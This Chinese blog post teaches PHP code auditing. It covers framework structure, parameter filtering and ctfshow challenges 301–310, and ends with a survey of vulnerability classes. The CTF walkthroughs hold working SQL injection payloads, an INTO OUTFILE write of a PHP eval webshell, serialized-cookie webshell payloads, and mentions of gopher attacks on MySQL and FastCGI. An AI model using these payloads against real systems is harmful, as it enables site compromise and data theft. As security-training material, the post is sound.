首先总结一下代码审计的思路
- 检查敏感函数的参数, 然后回溯变量, 判断变量是否可控, 并且有没有经过严格的过滤, 这是一个逆向追踪的过程
- 找出哪些文件在接收外部传入的参数, 然后跟踪变量的传递过程, 观察是否有变量传入到高危函数里面, 或者传递的过程是否有逻辑漏洞, 这是一种正向追踪的方式
- 直接挖掘功能点漏洞, 根据自身经验判断该类应用通常在哪些功能中会出现漏洞, 直接全篇阅读该功能代码
- 通篇阅读全文代码
了解系统架构
对于系统架构, 我们在确认了审计目标之后, 在审计之前, 需要先了解目标系统的基本架构, 比如目录情况/是否使用了框架/存在哪些路由/有没有安全过滤函数/有没有全局参数过滤; 这里就要分为有框架和无框架来进行分析
使用了开发框架
think PHP
以tp5为例, 框架的大体目录结构如下:
1 | www WEB部署目录(或者子目录) |
其中, application目录和public目录是应用程序文件目录和运行数据存放目录, 属于重点关注对象
同时, application目录下的config.php/databse.php/route.php分别是系统配置文件/数据库操作文件/系统路由文件; 都要仔细分析
对于ThinkPHP框架开发的应用,其访问系统的URL通常是这样的:/index.php/模块名/控制器名/函数名/[参数名/参数值]
其中模块名对应了application目录下的文件夹的名字。控制器名对应了模块名目录下的controller文件夹下的php文件名。参数则是可选的,可以按照/参数名/参数值
的方式同时传入多个参数,也可以按照传统方式使用?参数1=参数值1&参数2=参数值2
的方式传入变量。
laravel
基本目录结构:
1 | |——app 包含了站点的controllers(控制器),models(模型),views(视图)和assets(资源 |
主要应用程序放在了app目录下
没有使用开发框架
在没有使用开发框架的情况下, 我们需要判断应用程序是否采用了mvc模式, 如果有的话, 需要查看系统的路由文件, 看看控制程序是如何通过路由定位的. 比如PHPCMS, 就是利用了自己开发出来的mvc控制器进行路由
访问index.php, 可以看到包含了phpcms/base.php
1 | define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR); |
进入base.php文件, 就能看到, 这里定义了特别多的路由以及初始化的一些类以及方法
1 | //PHPCMS框架路径 |
对于没有使用框架, 也没有使用自定义的mvc模型的程序, 就只需要按照传统的脚本格式的访问方式就行, 以index.php作为切入点, 依次分析相关源码即可
参数过滤分析
传统参数过滤分析, 通常会以函数的方式进行过滤, 但是某些系统也可能会在参数传入后, 进行全局参数过滤, 所以我们在审计之前, 就需要先了解应用程序采用了哪些过滤方法, 是否使用了全局参数过滤
mvc模式下的过滤情况分析
首先以tp来说, 获取参数的方式有两种, 一是通过原生的$_GET
等方式获取参数, 二是通过$Request()
对象获取参数. 在审计think PHP程序的时候,就需要对这两种参数进行审计
在tp中, 会在config文件中定义一个默认的全局过滤器
1 | // 默认全局过滤方法 用逗号分隔多个 |
比如像上面这样, 默认的过滤器为空, 也就是说在使用$_GET
等原始方法获取参数的时候, 就是不会进行过滤的
然后再来看看$Request
对象获取参数时是如何进行的, 比如request对象的get方法, 是用于获取GET方式传入的参数的
1 | public function get($name = '', $default = null, $filter = '') |
可以看到,这里定义了三个形参,分别是name、default、filter。其中name是我们要获取的变量名,而fileter则是我们要是用的过滤器,这里默认为空,也就是不进行任何过滤。
所以在进行审计的时候,我们就需要判断是否设置了默认的全局过滤选项,或者说是否在获取参数的时候,设置了新的过滤器。
原生php模式下的过滤分析
对于原生的php开发的应用程序, 往往是通过函数的方式来设置过滤规则, 所以就需要在参数获取的地方来看看, 是否调用了参数过滤函数来进行过滤来进行过滤, 并判断是否是有效过滤
这里以帝国CMS
为例, 进行一个简单的分析. 帝国cms的过滤函数在e/class/connect.php
中, 定义了三个参数处理函数, 这里以其中一个为例, 进行分析:
1 | //参数处理函数 |
可见, 这里对% 空格 ` %20 %27 * ‘ \ / ; # –进行了过滤
然后我们可以具体到文件中, 看看传入的参数是否都调用了该函数进行过滤, 比如这里
1 | //审核评论 |
比如这里, 后台评论管理的地方, 获取了评论和ID等参数, 在未经过滤的情况下, 传入了CheckPl_all()
函数, 可见这里的参数都没有调用过滤函数进行处理, 但是好在都对这些参数使用了int类型强制类型转换; 所以比较安全
然后我们开始刷一下ctfshow的题目301-310
做几个题
301
映入眼帘一个登陆框, 猜测存在SQL注入
果然, 毫无过滤的一个SQL注入漏洞, 然后这里第二个if
判断
1 | if(!strcasecmp($userpwd,$row['sds_password'])){ |
检查$userpwd
变量是否与$row['sds_password']
变量相等, 如果相等, 则设置一个名为$_SESSION['login']
的session变量为1
代码第一行使用strcasecmp()
函数比较$userpwd
, $row['sds_password
两个变量, 该函数比较两个字符串返回一个整数, 表示两个字符串的相对大小. 如果两个字符串相同则会返回0, 继续执行$_SESSION['login']=1;
并释放查询结果 $result
,关闭 MySQL 数据库连接 $mysqli
,然后将页面重定向到 index.php
这里我们payload是:
1 | 1' union select 1;# |
这样我们查询的结果就是1
, 然后密码也设为1
即可, 当然也可以是2
即可登录成功, 拿到flag
302
这题就只是修改了一个地方而已
多了一个加密方法, 将用户输入的密码进行了一个解码, 那么我们人工将已经解码的sds_password
输入进去, 那么两个变量还是相等的, 当然我们也可以将输入的userowd
编码一下再输入进去, 但是那样是逆向的很明显要复杂很多
我们按住CTRL
鼠标左键点一下sds_decode
函数, 就能看见解码函数fun.php
这个脚本也就是我们的exp:
1 |
|
最终payload
1 | 2' union select 'f977952c679ca39837adaba7778c288b';# |
写入一句话木马
这两题都可以采用写入一句话木马的方法解决, 这样就可以无视php的逻辑, 直接写入
这里直接放payload
1 | userid=1' union select "<?php eval($_POST[1]); ?>" into outfile "/var/www/html/1.php"%23&userpwd=1 |
然后我们直接访问1.php
, 然后就拿到shell了
303
这题又增加了限制, 限制用户名长度小于6
那么我们之前的方法就不适用了
我们继续看下面的文件, 到了这个dptadd.php
, 再次发现SQL语句, 是insert
但是这个php文件, 我们无法直接访问, 需要登录后才可以, 这里有一个sql文件, 我们打开看一下, 发现了特别像密码的东西.
但是根据上一题经验, 这里的密码也应该是编码过的, 我们再去fun.php
看一下, 运行刚好是那串字符串
那么账号密码就应该是admin,admin; 当然这里爆破弱口令似乎也是可以的
这里直接贴一下payload
1 | dpt_name=123',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())%23&dpt_address=123&dpt_build_year=2023-03-01&dpt_has_cert=on&dpt_cert_number=123&dpt_telephone_number=123 |
我们只需要抓一个dptadd.php
的包
最终的查询结果就可以在dpt.php
界面显示出来
304
增加了全局waf
1 | function sds_waf($str){ |
但是好像并没有什么用, 貌似是源代码里没有用上waf, 我们继续试一下上题的payload,
这里只是换了个表名, 但是payload仍然适用
305
这里介绍一个比较好用的工具, seay源码审计系统
我们把文件夹在里边打开直接点击自动审计即可
我们先看一下这个sql注入, 会发现这里套了waf, 那很明显前面的SQL注入就不能用了
那么我们尝试利用一下这个反序列化漏洞
这里有个file_put_contents
, 那么反序列化入口点在哪呢, 我们可以搜一下user
试试
可以看出cookie
是反序列化入口, 我们先构造一个一句话木马试一试
exp:
1 |
|
运行得到结果
1 | O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%221.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D |
这里还是需要我们登录后才能利用的, 所以我们要首先利用弱口令登录, 然后访问checklogin.php
通过cookie
发包
连蚁剑并没有发现flag, 但是存在数据库, 我们猜测flag在数据库里
306
扫一下, 又在class.php
里发现了漏洞
然后我们再找一下close()
, 然后在dao.php
中找到了
我们构造一下exp.php
1 |
|
执行exp结果:
1 | TzozOiJkYW8iOjE6e3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo1OiIxLnBocCI7czo0OiJpbmZvIjtzOjI0OiI8P3BocCBldmFsKCRfUE9TVFsxXSk7Pz4iO319 |
访问index.php
并添加user
cookie
写入木马文件1.php
307
用工具扫一下, 扫出shell_exec
可能存在任意命令执行漏洞
这里先找一下clearCache
, 可以全局搜索一下, 在logout.php中, 发现了可利用点
再看一下cache_dir
, 在config
类里
这次我们从logout.php
写service
cookie, 写入一句话木马php文件
访问http://url/controller/1.php
308
上题利用的漏洞已经被修复了, 但是fun.php
里多了一个ssrf利用点
在dao.php
中发现被调用
又在index.php
中找到利用点
然后我们发现数据库密码为空, 这里我们可以想到使用gopher打MySQL
可以构造出最终exp
1 |
|
访问首页并写入payload
309
这题提到说MySQL有密码了, 那我们就没法利用3306端口了, 可以先通过file协议读一下配置文件, 看看有没有其他利用点, 可以看到是nginx
poc
1 |
|
发现这里开放了9000端口, 我们可以尝试打一下fastcgi
exp
1 |
|
310
像上题一样, 先读一下配置文件看看有没有什么蹊跷, 这里9000端口仍然开放, 我们再尝试打一下试试
可以成功读取
这题我们还会发现配置文件里还有另一个端口, 4476, 可以直接利用这个端口
直访问
exp
1 |
|
拿到flag
常见漏洞审计方法总结
SQL注入
首先了解SQL注入常见的业务场景与漏洞类型
- 用户登录
- 数据搜索
- 获取HTTP头
- 商品购买(insert/update注入)
- 信息查询
可以说, 任何与数据库进行交互的地方都可能存在SQL注入, 对于其漏洞存在场景也是多种多样
对于SQL注入最首先要关注的就是数据库操作的关键字
在原生PHP代码中要多关注这些
1 | select |
在CMS或者框架中,需要多关注下面这些
1 | name() |
通过定位这些关键字,我们就能够定位到执行SQL语句的地方,然后去判断执行SQL语句中的参数是否采用了拼接SQL的方式,如果是则去判断是否存在参数过滤以及参数是否可控。
如果参数不可控,来源于某一条SQL语句查询出的结果,我们就需要重点关注这个参数是否来源于其他的用户输入,如果是,则需要考虑是否存在二次注入的情况。
XSS
xss漏洞需要重点关注输出函数
1 | print() |
然后去判断输出的内容是否存在可控变量, 并检测这些变量在输入或者输出的时候是否采用了HTML实体编码, 或者是否对输入进行了过滤, 如果什么都没有, 在输出内容可控的情况下则很可能存在xss漏洞
CSRF
可以尝试全局搜索
1 | csrf-token |
重点看一下是否在表单处存在随机token, 是否存在敏感操作的表单, 查看后端代码中是否会先验证这部分token, 如果没有验证token, 再进一步看看是否有refer的相关验证, 如果也没用就可能存在csrf
SSRF
ssrf漏洞引发函数主要是能用于远程请求资源的一些函数, 像这些
1 | file_get_content() |
再看是否限制了访问端口/协议/内网IP地址等
常见的漏洞场景:
- 社交分享
- 转码服务
- 在线翻译
- 没有使用img标签的远程图片加载
对于检测方法主要也是通过判断这些函数获取的url或者文件名是否可控, 如果可控, 则可能造成漏洞, 同时也容易造成上面提到的任意文件读取漏洞
利用file://,http://,https://,dice://,gopher://
协议打内网
代码执行
需要关注的一些函数:
1 | eval() |
assert()函数在PHP中与eval类似,但是只能执行一行代码,在PHP7中则取消了该函数执行动态代码的功能,也就是说执行执行固定的代码了。
其他的代码执行函数,大多数为回调函数,具备了调用php代码的功能。
审计要素:
php.ini
文件中的disable_function
是否有禁用函数- 是否存在可以diamagnetic执行的敏感函数
- 是否输入变量可控
命令执行
1 | system() |
对于命令执行漏洞来说,主要还是存在于一些获取系统信息的地方,可能会通过执行命令的方式来获取,若果说执行的命令可控的话,则可能导致命令执行。
对于命令执行的其中几个方法,存在一定的差异:
- system()是执行系统命令并返回执行结果。
- exec()则是执行命令后,返回一个结果句柄,并不直接返回结果。
- shell_exec()则是执行不返回命令执行后的任何信息。
在php中, 通过{}
的方式同样能够执行代码, 同时还能通过动态拼接代码的方式来执行PHP代码. 通过使用双反引号的方式, 也能够同样做到等同于system的命令执行效果
文件上传、删除、下载
文件上传
常见的业务有
- 头像上传
- 备份文件上传
- 配置文件上传
对于文件上传漏洞,需要关注的函数为:
1 | move_uplaod_file() |
在审计的时候就只需要去搜欧索这一个函数,然后判断是否对文件上传的格式做限制,或者说是否可以绕过文件后缀限制。
如果说不能绕过的话,则需要去检测是否存在文件解析漏洞或者文件包含漏洞,然后进行绕过利用。
文件删除
对于文件删除漏洞,触发漏洞的函数同样只有一个,那就是
1 | unlink() |
我们在审计的时候,判断文件名是否可控,同时检测是否允许文件命中存在路径穿越符,如果允许,则说明存在任意文件删除漏洞,危害较大。
文件写入
常见触发函数如下
1 | file_get_content() |
对于这种漏洞,可以在黑盒的情况下先去找文件读取和下载的的功能点,然后通过请求的URL去分析功能对应的具体代码,再来判断读取的文件,其文件名是否可控,是否允许文件名存在路径穿越符等。
如果存在漏洞的情况下,利用方法一时读取系统文件,而是读取网站源码,在读取的时候,我们可以使用php的伪协议来读取源码。
文件包含
常见触发函数
1 | include() |
全局搜索, 然后一个个看, 查看变量可不可控
XXE
常见触发函数
1 | simplexml_load_string() |
我们需要判断被解析的XML数据是否允许我们外部输入,并且是否允许代用外部实体,是否禁用了外部实体, 然后再进行详细的分析与利用
反序列化
可以尝试全局搜索一下serialize
, 重点关注下列几个函数
1 | __construct:在创建对象时候初始化对象,一般用于对变量赋初值。 |
看看存不存在可控变量
审计技巧总结
GPC
简单介绍一下GPC, magic_quotes_gpc
是php.ini
里面的配置选项,在php5.2之前的版本默认开启, 在5.2-5.4之间的版本默认关闭, 5.4以后的版本直接取消了这一配置项
该配置项的作用就是对我们传入的POST, GET, COOKIE变量中的'
,"
,\
,NULL
等字符前加上\
进行转义
在php中, 看其GPC的方法有两种, 一是在php.ini
中配置magic_quotes_gpc
选项的值为on
, 还有一种就是在php代码中使用get_magic_quotes_gpc()
函数判断是否开启该选项, 如果没有则使用addslashes()
函数进行转义, 比如
1 | if (!get_magic_quotes_gpc()) { //magic_quotes_gpc 配置为 ON 则返回1,如果配置为OFF 则返回0 |
在php中, 我们提到了POST等变量会受到全局配置GPC的影响, 但是$_SERVER
变量不会, 其中获取http头并不受到GPC保护, 如果说获取的HTTP头存在于数据库交互的行为, 则可能导致SQL注入
同时由于使用了GPC对特殊字符进行转义, 我们都知道宽字节注入的原理, 如果说在开启了GPC的情况下, 还设置了数据库编码为GBK模式, 则可能导致宽字节注入的存在, 在php中设置数据库编码的方式有以下两种
1 | 方法1: mysqli_set_charset($connnect,'GBK') |
这两种方法都能设置数据库的编码模式,在开启了GPC的情况下,就容易出现宽字节注入的问题。
利用字符处理问题
利用字符处理函数报错
在了解这个问题之前, 我们需要知道, 在php中, 报错信息分为多个等级, 可以通过配置php.ini
的display_error=on
或者在代码中使用error_reporting()
来设置报错等级; 常见报错等级如下
1 | 1、E_ERROR //致命的运行时错误。这类错误一般是不可恢复的情况,例如内存分配导致的问题。后果是导致脚本终止不再继续运行。 |
在PHP中,大多数的错误都会显示错误的文件路径与集体位置,在渗透测试中,经常会遇到上传或者写入webshell的的情况需要知道网站绝对路径,这时候我们就可以考虑使用PHP报错来获取网站路径。
对于PHP程序来说,大多数开发者都会使用trim()
函数来去除参数首尾的空调,但是当我们传入的参数是一个数组的时候,比如/index.php?a[]=test
,这时候如果采用trim($_GET('a'))
来去除a参数的空格的话,就会导致程序报错。
类似的函数还有很多, 类似
1 | addcslashes() |
利用字符串截断
字符串截断利用最多的则是在文件上传的时候,但是%00空字符即NULL,在开启了GPC的情况下会受到影响为不能正常利用。同时在PHP5.3以后,修复了这一问题,所以利用场景相对目前来比较少见。这里就只简单的提一下。
还有另外一种字符串截断情况, 就是使用了iconv()
函数进行编码转换时, 比如utf-8
转换为gbk
编码, 总会存在一些差异, 导致转换出现乱码, 所以在使用了iconv()
函数进行转换时, 如果出现了错误, 则会不再进行转换, 导致了字符串被截断的问题
有大佬测试了相关问题,发现在使用iconv()
函数将UTF-8编码转为GBK编码的情况下,遇到cahr(128)—chr(255)之间的字符否存在被截断的可能。
不严谨的正则表达式
比如下面这样
1 | $ip=$_SERVER('HTTP_CLIENT_IP'); |
我们只需要在传入的payload以IP地址开头即可绕过, 像这样127.0.0.1</scritp>alert(xss)</scritp>
文章参考:https://blog.csdn.net/qq_45590334/article/details/126517767
- Post title: Web_9_PHP代码审计
- Create time: 2023-03-24 00:00:00
- Post link: 2023/03/24/web_9_PHP代码审计/
- Copyright notice: All articles in this blog are licensed under BY-NC-SA unless stating additionally.